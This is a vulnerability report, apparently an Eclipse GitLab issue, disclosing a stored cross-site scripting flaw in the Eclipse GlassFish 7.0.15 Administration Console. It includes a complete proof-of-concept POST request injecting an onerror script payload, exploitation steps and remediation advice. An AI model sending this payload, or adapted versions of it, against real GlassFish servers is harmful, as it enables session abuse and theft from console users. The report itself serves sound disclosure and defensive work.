Skip to content
Snippets Groups Projects

Glassfish cross-side scripting in standaloneInstanceConfigProperties.jsf

    • Open Issue created by Marta Rybczynska @mrybczyn

    Product Line: Eclipse GlassFish

    • Vulnerable Version: 7.0.15

    • Summary: In Eclipse GlassFish version 7.0.15 is possible to perform Stored Cross-site scripting attacks. Stored cross-site scripting vulnerabilities arise when user input is stored and later embedded into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

    • Prerequisites: The attacker must be authenticated within the Administration Console.

    Step-by-step instructions and PoC

    A remote user, authenticated to the Administration Console, can store malicious JavaScript code within the “HTTP port(s)” parameter that is in the “Standalone instances” task. Successfully exploitation of this vulnerability can cause the extraction of some information and/or the execution of arbitrary HTTP Request in the context of victim's session. Affected Endpoints

    • URL: https://[IP]:[PORT]/cluster/standalone/standaloneInstanceConfigProperties.jsf

    • HTTP POST Parameter:

    propertyForm%3AsysPropsTable%3ArowGroup1%3A0%3AoverrideValCol%3AoverrideVal
Below there is the evidence with the vulnerability details and the payloads used.
Payload used to exploit the vulnerability:
POST /cluster/standalone/standaloneInstanceConfigProperties.jsf HTTP/1.1
Host: [IP]:[PORT]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Faces-Request: partial/ajax
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 2318
Origin: https://[IP]:[PORT]
Referer: https://[IP]:[PORT]/common/index.jsf
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
propertyForm%3AsysPropsTable%3ArowGroup1%3A0%3Acol2%3Acol1St=ASADMIN_LISTENER_
PORT&propertyForm%3AsysPropsTable%3ArowGroup1%3A0%3AoverrideValCol%3AoverrideVal
=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&propertyForm%3AsysPropsTable%3ArowGr
oup1%3A1%3Acol2%3Acol1St=HTTP_LISTENER_PORT&propertyForm%3AsysPropsTable%3Arow
Group1%3A1%3AoverrideValCol%3AoverrideVal=28082&propertyForm%3AsysPropsTable%3Aro
wGroup1%3A2%3Acol2%3Acol1St=HTTP_SSL_LISTENER_PORT&propertyForm%3AsysPropsTable
%3ArowGroup1%3A2%3AoverrideValCol%3AoverrideVal=28183&propertyForm%3AsysPropsTab
le%3ArowGroup1%3A3%3Acol2%3Acol1St=IIOP_LISTENER_PORT&propertyForm%3AsysPropsTa
ble%3ArowGroup1%3A3%3AoverrideValCol%3AoverrideVal=23702&propertyForm%3AsysProps
Table%3ArowGroup1%3A4%3Acol2%3Acol1St=IIOP_SSL_LISTENER_PORT&propertyForm%3Asys
PropsTable%3ArowGroup1%3A4%3AoverrideValCol%3AoverrideVal=23822&propertyForm%3As
ysPropsTable%3ArowGroup1%3A5%3Acol2%3Acol1St=IIOP_SSL_MUTUALAUTH_PORT&property
Form%3AsysPropsTable%3ArowGroup1%3A5%3AoverrideValCol%3AoverrideVal=23922&proper
tyForm%3AsysPropsTable%3ArowGroup1%3A6%3Acol2%3Acol1St=JAVA_DEBUGGER_PORT&pro
pertyForm%3AsysPropsTable%3ArowGroup1%3A6%3AoverrideValCol%3AoverrideVal=29011&p
ropertyForm%3AsysPropsTable%3ArowGroup1%3A7%3Acol2%3Acol1St=JMS_PROVIDER_PORT
&propertyForm%3AsysPropsTable%3ArowGroup1%3A7%3AoverrideValCol%3AoverrideVal=276
78&propertyForm%3AsysPropsTable%3ArowGroup1%3A8%3Acol2%3Acol1St=JMX_SYSTEM_CO
NNECTOR_PORT&propertyForm%3AsysPropsTable%3ArowGroup1%3A8%3AoverrideValCol%3A
overrideVal=28688&propertyForm%3AsysPropsTable%3ArowGroup1%3A9%3Acol2%3Acol1St=O
SGI_SHELL_TELNET_PORT&propertyForm%3AsysPropsTable%3ArowGroup1%3A9%3AoverrideV
alCol%3AoverrideVal=26668&propertyForm%3AhelpKey=ref-
standaloneinstanceconfigproperties.html&propertyForm_hidden=propertyForm_hidden&jakart
a.faces.ViewState=4767129415244617423%3A-
2711647986364261668&com_sun_webui_util_FocusManager_focusElementId=propertyForm%
3Asun_title786%3AbottomButtons%3AtopButtons%3AsaveButton&jakarta.faces.source=propert
yForm%3Asun_title786%3AbottomButtons%3AtopButtons%3AsaveButton&jakarta.faces.partial.
execute=%40all&jakarta.faces.partial.render=%40all&bare=true&propertyForm%3Asun_title786
%3AbottomButtons%3AtopButtons%3AsaveButton=propertyForm%3Asun_title786%3AbottomB
uttons%3AtopButtons%3AsaveButton&jakarta.faces.partial.ajax=true

    As a first step, the attacker must be logged in the Administration Console.

    Then, create a new item in “Standalone Instances”, as shown below.

    At this point, as shown below, an attacker can insert a malicious payload in the “ASADMIN_LISTENER_PORT” parameter in the “System Properties” section

    Finally, as soon as the victim visit the General Information of the attacker standalone instance, the malicious payload will be executed in the victim’s browser session

    Note that an attacker can exploit the “1 – Cross-site Scripting (Reflected) - CWE-79” vulnerability to bypass the authentication requirement.

    Security Impact An attacker can exploit this vulnerability to extract some information or run arbitrary HTTP Request in the context of victim's session.

    Finally, as soon as the victim visit the General Information of the attacker standalone instance, the malicious payload will be executed in the victim’s browser session.

    Note that an attacker can exploit the “1 – Cross-site Scripting (Reflected) - CWE-79” vulnerability to bypass the authentication requirement.

    Security Impact

    An attacker can exploit this vulnerability to extract some information or run arbitrary HTTP Request in the context of victim's session.

    Remediation Steps

    In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

    • Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
    • User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc). In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
    To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information

    Child items ...

    • Activity

    Please register or sign in to reply

    Copyright © Eclipse Foundation, Inc. All Rights Reserved.     Privacy Policy | Terms of Use | Copyright Agent